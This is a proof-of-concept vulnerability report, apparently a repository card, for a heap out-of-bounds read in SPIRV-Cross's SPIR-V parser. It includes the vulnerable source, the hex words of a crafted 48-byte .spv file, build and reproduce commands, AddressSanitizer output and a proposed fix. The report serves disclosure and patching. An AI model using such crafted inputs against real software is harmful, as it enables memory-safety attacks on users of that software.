YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PoC β SPIRV-Cross Parser::parse OpConstant 64-bit ops[3] heap OOB read (CWE-125)
Heap out-of-bounds read in KhronosGroup/SPIRV-Cross when parsing a crafted .spv: a 64-bit OpConstant/OpSpecConstant whose declared word count is one short (count=4) makes the constant handler read the missing high-literal word (ops[3]) past the SPIR-V word vector. Reproduced end-to-end with AddressSanitizer in the real spirv-cross binary.
- Repo/version: KhronosGroup/SPIRV-Cross
main@146679f(2026-06-01) - Sink:
spirv_parser.cpp:1116(OpConstant/OpSpecConstanthandler)
Mechanism (source-confirmed)
case OpSpecConstant: case OpConstant: {
uint32_t id = ops[1];
auto &type = get<SPIRType>(ops[0]);
...
if (type.width > 32)
set<SPIRConstant>(id, ops[0], ops[2] | (uint64_t(ops[3]) << 32), op == OpSpecConstant); // :1116 ops[3] unchecked
else
set<SPIRConstant>(id, ops[0], ops[2], op == OpSpecConstant);
}
ops = stream(instruction) validates only instr.offset + instr.length <= ir.spirv.size(), where instr.length = count - 1. So count=4 (length=3) validates ops[0..2] only; the type.width > 32 branch then reads ops[3] with no check. When the malformed OpConstant is the final instruction, ops[3] == spirv[size()] β one word past the std::vector<uint32_t> ir.spirv.
Impact / FP-9: the OOB word is folded into the 64-bit constant value (ops[2] | (ops[3]<<32)) and stored in SPIRConstant (retrievable via scalar_u64(), and it influences reflected / cross-compiled output). This is an out-of-bounds read consumed as data, not a pointer-deref/DoS.
Crafted .spv (spirvcross_opconstant_oob.spv, 48 bytes / 12 words)
07230203 00010000 00000000 00000003 00000000 # header (magic, v1.0, gen, bound=3, schema)
00030016 00000001 00000040 # OpTypeFloat %1 Width=64
0004002B 00000001 00000002 AAAAAAAA # OpConstant %1 %2 low=0xAAAAAAAA (count=4, high word MISSING, LAST instr)
Reproduce
git clone https://github.com/KhronosGroup/SPIRV-Cross.git && cd SPIRV-Cross
cmake -B build -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1" -DSPIRV_CROSS_ENABLE_TESTS=OFF
cmake --build build -j
./build/spirv-cross spirvcross_opconstant_oob.spv
AddressSanitizer output (real binary)
==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4 at 0x504000000a00
#0 spirv_cross::Parser::parse(Instruction const&) spirv_parser.cpp:1116
#1 spirv_cross::Parser::parse() spirv_parser.cpp:129
#2 compile_iteration main.cpp:1241
0x504000000a00 is located 0 bytes after 48-byte region (the ir.spirv vector<uint32_t>)
SUMMARY: AddressSanitizer: heap-buffer-overflow spirv_parser.cpp:1116 in spirv_cross::Parser::parse
OSS-Fuzz disclosure (honest)
SPIRV-Cross is covered by OSS-Fuzz's parser_fuzzer, which calls the real Parser::parse() on raw word input (it overwrites the magic/version, then parses). I checked for public issues/CVEs matching this OpConstant/OpSpecConstant 64-bit high-word OOB read and did not find an exact public duplicate. The crash is still present on current main and was reproduced end-to-end with ASan in the real CLI. The likely reason this can survive fuzzing is that the malformed instruction only becomes ASan-visible when it is the final instruction; the same malformed instruction placed before another word follows the same parser code path but reads in-bounds from the next instruction word β an EOF boundary-placement condition that does not appear to create additional coverage over the in-bounds variant. This makes long-term non-discovery plausible, not guaranteed.
Fix
Before the type.width > 32 branch, require length >= 4 (i.e. count >= 5) for a 64-bit constant, or bounds-check ops[3] against the instruction length.
CWE / CVSS
CWE-125 (Out-of-bounds Read). CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L β Medium.